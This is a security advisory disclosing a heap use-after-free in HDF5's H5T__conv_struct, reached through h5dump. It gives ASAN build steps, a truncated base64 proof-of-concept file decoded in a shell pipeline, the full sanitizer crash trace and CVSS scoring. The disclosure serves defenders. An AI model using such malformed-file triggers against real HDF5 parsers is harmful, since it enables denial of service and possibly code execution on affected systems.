H5T__conv_struct Use After Free

High **bmribler** published **GHSA-w7v2-9cmr-pwwj** 2 hours ago

Package

No package listed

Affected versions

<=1.14.1-2

Patched versions

None

Description

Summary

An attacker who can control an `h5` file parsed by HDF5 can trigger a heap use-after-free condition. This can lead to a denial-of-service condition, and potentially further issues such as remote code execution depending on the practical exploitability of the use-after-free against modern operating systems.

Note: CVSSv3.1 scoring has been based off previous use-after-free issues reported in the HDF5 project. This assumes the attacker can successfully exploit the vulnerability for remote-code execution purposes, and operates on the assumption that an attacker is coercing a target user into parsing a malicious file with `h5dump`. Other scenarios, such as a server-side process that parses attacker-controllable `h5` files, may be exploitable without user interaction.

Details

The following heap-use-after-free was found by fuzzing the `h5dump` helper utility. An attacker who can supply a malicious `h5` file can trigger a heap use-after-free. The freed object is referenced in a `memmove` call from `H5T__conv_struct`. The original object was allocated by `H5D__typeinfo_init_phase3` and freed by `H5D__typeinfo_term`.

This was tested against `https://support.hdfgroup.org/ftp/HDF5/releases/hdf5-1.14/hdf5-1.14.1/src/hdf5-1.14.1-2.tar.gz` which was built with GCC10 and address sanitizer, as follows:

```
export CFLAGS='-g -fno-omit-frame-pointer -fsanitize=address'
export CXXFLAGS='-g -fno-omit-frame-pointer -fsanitize=address'
./configure
```

```
make -j8
make install
```

PoC

The following PoC shows the ASAN output detailing the use-after-free condition.

```
$ echo
"H4sICP8/v2QAAzExMDQ5YTU2YTQyMzUwOTNlNjg0NWEyNzAyMWFmMTVlAOv0cHHj5ZLiYgABDg4GFgYBBA...g
| base64 -d | gunzip -c > 11049a56a4235093e6845a27021af15e
$ ./hdf5/bin/h5dump 11049a56a4235093e6845a27021af15e
HDF5 "11049a56a4235093e6845a27021af15e" {
GROUP "/" {
   DATASET "ArrayOfStructures" {
      DATATYPE  H5T_COMPOUND {
         32-bit big-endian integer 32-bit precision "a_name";
         H5T_IEEE_F32LE "b_name";
         64-bit little-endian floating-point 64-bit precision "c_name";
         H5T_COMPOUND {
            H5T_STRING {
               STRSIZE 35329;
               STRPAD H5T_STR_NULLTERM;
               CSET H5T_CSET_ASCII;
               CTYPE H5T_C_S1;
            } "char_name";
            H5T_ARRAY { [2] 96-bit big-endian floating-point 32-bit precision }
"array_na";
         } "d_name";
      }
      DATASPACE  SIMPLE { ( 545460846846 ) / ( 545460846846 ) }
==================================================================
==1167==ERROR: AddressSanitizer: heap-use-after-free on address 0x7fae4edbcec4 at pc
0x7fae5549f541 bp 0x7fffb9b82400 sp 0x7fffb9b81bb0
READ of size 35329 at 0x7fae4edbcec4 thread T0
    #0 0x7fae5549f540 in __interceptor_memmove
../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:789
    #1 0x7fae54ff94dd in H5T__conv_struct /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Tconv.c:2314
    #2 0x7fae54fc687a in H5T_convert /home/doi/src/hdf5-1.14.1-2-ASAN/src/H5T.c:5449
    #3 0x7fae54ff9b02 in H5T__conv_struct /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Tconv.c:2339
    #4 0x7fae54fc687a in H5T_convert /home/doi/src/hdf5-1.14.1-2-ASAN/src/H5T.c:5449
    #5 0x7fae54ba8b3b in H5D__scatgath_read /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Dscatgath.c:545
    #6 0x7fae54b66221 in H5D__contig_read /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Dcontig.c:870
    #7 0x7fae54b9c5d7 in H5D__read /home/doi/src/hdf5-1.14.1-2-ASAN/src/H5Dio.c:380
    #8 0x7fae55151ee8 in H5VL__native_dataset_read /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLnative_dataset.c:360
    #9 0x7fae55121afc in H5VL__dataset_read /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLcallback.c:2047
    #10 0x7fae55121afc in H5VL_dataset_read_direct /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLcallback.c:2090
```

```
    #11 0x7fae54b10a0b in H5D__read_api_common /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5D.c:1011
    #12 0x7fae54b18444 in H5Dread /home/doi/src/hdf5-1.14.1-2-ASAN/src/H5D.c:1067
    #13 0x55beb9eaf46c  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x5b46c)
    #14 0x55beb9ec418d  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x7018d)
    #15 0x55beb9e7dc9f  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x29c9f)
    #16 0x55beb9e86947  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x32947)
    #17 0x7fae54cfb14e in H5G__iterate_cb /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gint.c:865
    #18 0x7fae54cfb14e in H5G__iterate_cb /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gint.c:838
    #19 0x7fae54d0c212 in H5G__node_iterate /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gnode.c:966
    #20 0x7fae54a86721 in H5B__iterate_helper /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5B.c:1151
    #21 0x7fae54a8a05e in H5B_iterate /home/doi/src/hdf5-1.14.1-2-ASAN/src/H5B.c:1193
    #22 0x7fae54d1ac79 in H5G__stab_iterate /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gstab.c:535
    #23 0x7fae54d133d7 in H5G__obj_iterate /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gobj.c:671
    #24 0x7fae54cfdd71 in H5G_iterate /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gint.c:921
    #25 0x7fae54db5c0f in H5L_iterate /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Lint.c:2246
    #26 0x7fae5515d455 in H5VL__native_link_specific /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLnative_link.c:366
    #27 0x7fae55134095 in H5VL__link_specific /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLcallback.c:5482
    #28 0x7fae55134095 in H5VL_link_specific /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLcallback.c:5516
    #29 0x7fae54da161a in H5L__iterate_api_common /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5L.c:1661
    #30 0x7fae54da161a in H5Literate2 /home/doi/src/hdf5-1.14.1-2-ASAN/src/H5L.c:1697
    #31 0x55beb9e7cbe4  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x28be4)
    #32 0x55beb9e751c7  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x211c7)
    #33 0x7fae546b8d09 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x23d09)
    #34 0x55beb9e77649  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x23649)

0x7fae4edbcec4 is located 800452 bytes inside of 1048584-byte region
[0x7fae4ecf9800,0x7fae4edf9808)
freed by thread T0 here:
    #0 0x7fae5550fb6f in __interceptor_free
../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:123
    #1 0x7fae54cb7d3e in H5FL__blk_gc_list /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5FL.c:1203
    #2 0x7fae54cb9b07 in H5FL_blk_free /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5FL.c:1067
    #3 0x7fae54b9aaa7 in H5D__typeinfo_term /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Dio.c:1505
    #4 0x7fae54b9aaa7 in H5D__typeinfo_term /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Dio.c:1494
    #5 0x7fae54b9aaa7 in H5D__read /home/doi/src/hdf5-1.14.1-2-ASAN/src/H5Dio.c:430
    #6 0x7fae55151ee8 in H5VL__native_dataset_read /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLnative_dataset.c:360
    #7 0x7fae55121afc in H5VL__dataset_read /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLcallback.c:2047
```

```
    #8 0x7fae55121afc in H5VL_dataset_read_direct /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLcallback.c:2090
    #9 0x7fae54b10a0b in H5D__read_api_common /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5D.c:1011
    #10 0x7fae54b18444 in H5Dread /home/doi/src/hdf5-1.14.1-2-ASAN/src/H5D.c:1067
    #11 0x55beb9eaf46c  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x5b46c)
    #12 0x55beb9ec418d  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x7018d)
    #13 0x55beb9e7dc9f  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x29c9f)
    #14 0x55beb9e86947  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x32947)
    #15 0x7fae54cfb14e in H5G__iterate_cb /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gint.c:865
    #16 0x7fae54cfb14e in H5G__iterate_cb /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gint.c:838
    #17 0x7fae54d0c212 in H5G__node_iterate /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gnode.c:966
    #18 0x7fae54a86721 in H5B__iterate_helper /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5B.c:1151
    #19 0x7fae54a8a05e in H5B_iterate /home/doi/src/hdf5-1.14.1-2-ASAN/src/H5B.c:1193
    #20 0x7fae54d1ac79 in H5G__stab_iterate /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gstab.c:535
    #21 0x7fae54d133d7 in H5G__obj_iterate /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gobj.c:671
    #22 0x7fae54cfdd71 in H5G_iterate /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gint.c:921
    #23 0x7fae54db5c0f in H5L_iterate /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Lint.c:2246
    #24 0x7fae5515d455 in H5VL__native_link_specific /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLnative_link.c:366
    #25 0x7fae55134095 in H5VL__link_specific /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLcallback.c:5482
    #26 0x7fae55134095 in H5VL_link_specific /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLcallback.c:5516
    #27 0x7fae54da161a in H5L__iterate_api_common /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5L.c:1661
    #28 0x7fae54da161a in H5Literate2 /home/doi/src/hdf5-1.14.1-2-ASAN/src/H5L.c:1697
    #29 0x55beb9e7cbe4  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x28be4)
    #30 0x55beb9e751c7  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x211c7)
    #31 0x7fae546b8d09 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x23d09)

previously allocated by thread T0 here:
    #0 0x7fae5550fe8f in __interceptor_malloc
../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x7fae54cb92ef in H5FL__malloc /home/doi/src/hdf5-1.14.1-2-ASAN/src/H5FL.c:237
    #2 0x7fae54cba4f3 in H5FL_blk_malloc /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5FL.c:888
    #3 0x7fae54b99dd4 in H5D__typeinfo_init_phase3 /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Dio.c:1468
    #4 0x7fae54b9c41b in H5D__typeinfo_init_phase3 /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Dio.c:424
    #5 0x7fae54b9c41b in H5D__read /home/doi/src/hdf5-1.14.1-2-ASAN/src/H5Dio.c:305
    #6 0x7fae55151ee8 in H5VL__native_dataset_read /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLnative_dataset.c:360
    #7 0x7fae55121afc in H5VL__dataset_read /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLcallback.c:2047
    #8 0x7fae55121afc in H5VL_dataset_read_direct /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLcallback.c:2090
```

```
    #9 0x7fae54b10a0b in H5D__read_api_common /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5D.c:1011
    #10 0x7fae54b18444 in H5Dread /home/doi/src/hdf5-1.14.1-2-ASAN/src/H5D.c:1067
    #11 0x55beb9eaf46c  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x5b46c)
    #12 0x55beb9ec418d  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x7018d)
    #13 0x55beb9e7dc9f  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x29c9f)
    #14 0x55beb9e86947  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x32947)
    #15 0x7fae54cfb14e in H5G__iterate_cb /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gint.c:865
    #16 0x7fae54cfb14e in H5G__iterate_cb /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gint.c:838
    #17 0x7fae54d0c212 in H5G__node_iterate /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gnode.c:966
    #18 0x7fae54a86721 in H5B__iterate_helper /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5B.c:1151
    #19 0x7fae54a8a05e in H5B_iterate /home/doi/src/hdf5-1.14.1-2-ASAN/src/H5B.c:1193
    #20 0x7fae54d1ac79 in H5G__stab_iterate /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gstab.c:535
    #21 0x7fae54d133d7 in H5G__obj_iterate /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gobj.c:671
    #22 0x7fae54cfdd71 in H5G_iterate /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Gint.c:921
    #23 0x7fae54db5c0f in H5L_iterate /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5Lint.c:2246
    #24 0x7fae5515d455 in H5VL__native_link_specific /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLnative_link.c:366
    #25 0x7fae55134095 in H5VL__link_specific /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLcallback.c:5482
    #26 0x7fae55134095 in H5VL_link_specific /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5VLcallback.c:5516
    #27 0x7fae54da161a in H5L__iterate_api_common /home/doi/src/hdf5-1.14.1-2-
ASAN/src/H5L.c:1661
    #28 0x7fae54da161a in H5Literate2 /home/doi/src/hdf5-1.14.1-2-ASAN/src/H5L.c:1697
    #29 0x55beb9e7cbe4  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x28be4)
    #30 0x55beb9e751c7  (/home/doi/src/hdf5-1.14.1-2-ASAN/hdf5/bin/h5dump+0x211c7)
    #31 0x7fae546b8d09 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x23d09)

SUMMARY: AddressSanitizer: heap-use-after-free
../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:789
in __interceptor_memmove
Shadow bytes around the buggy address:
  0x0ff649daf980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0ff649daf990: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0ff649daf9a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0ff649daf9b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0ff649daf9c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0ff649daf9d0: fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd
  0x0ff649daf9e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0ff649daf9f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0ff649dafa00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0ff649dafa10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0ff649dafa20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
```

```
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1167==ABORTING
```

Impact

An attacker who can control an `h5` file or other `hdf5` data parsed by a target system can trigger the use-after-free. With the proof-of-concept above, this could result in denial-of-service conditions in server-side implementations of the HDF5 library.

Use-after-free vulnerabilities may result in remote code execution, depending on the specific exploitability of the vulnerability. Real-world exploitability of this issue in terms of remote-code execution is currently unknown.

Severity

High 7.8 / 10

CVSS v3 base metrics

Attack vector	Local
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-34734

Weaknesses

▶ CWE-416

Credits

 **denandz** Reporter